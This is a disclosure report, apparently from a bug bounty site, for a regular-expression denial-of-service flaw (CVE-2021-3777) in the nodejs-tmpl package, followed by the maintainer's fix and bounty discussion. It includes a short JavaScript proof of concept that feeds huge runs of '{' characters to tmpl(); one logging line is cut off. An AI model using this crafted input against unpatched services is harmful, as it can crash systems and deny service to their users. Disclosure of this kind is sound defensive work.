Inefficient Regular Expression Complexity in daaku/nodejs-tmpl

0

Valid Reported on Sep 4th 2021

✍️ Description

It allows cause a denial of service when formatting crafted string.

🦹 Proof of Concept

```
// PoC.js
var tmpl = require("tmpl")
for(var i = 1; i <= 50000; i++) {
        var time = Date.now();
        var attack_str = ""+"{".repeat(i*10000)+"answer";
         tmpl(attack_str, { answer: 42 })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_
}
```

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

Occurrences

JS tmpl.js L1

CVE
CVE-2021-3777
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Yeting Li
@yetingli
unranked

Fixed by

Yeting Li
@yetingli
unranked

This report was seen 686 times.

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago

Yeting Li submitted a patch a year ago

Z-Old a year ago Admin

Hey Yeting, I've just contacted the maintainer about this report for you. Good job!

We have contacted a member of the daaku/nodejs-tmpl team and are waiting to hear back a year ago

daaku a year ago Maintainer

Seems reasonable. I pushed a fix in v1.0.5. Thanks for the report.

Yeting Li a year ago Researcher

Thank you for your information @admin and thank you for your confirmation @daaku

Jamie Slome a year ago Admin

@daaku - are you able to `mark as valid` and `confirm fix`, so that the researcher gets rewarded for their efforts!

daaku validated this vulnerability a year ago

Yeting Li has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

daaku marked this as fixed with commit 4c654e a year ago

Yeting Li has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Jamie Slome a year ago Admin

CVE published! 🎉

Ref:
CVE-2021-3777

Yeting Li a year ago Researcher

Thanks a lot!😄

Sign in to join this conversation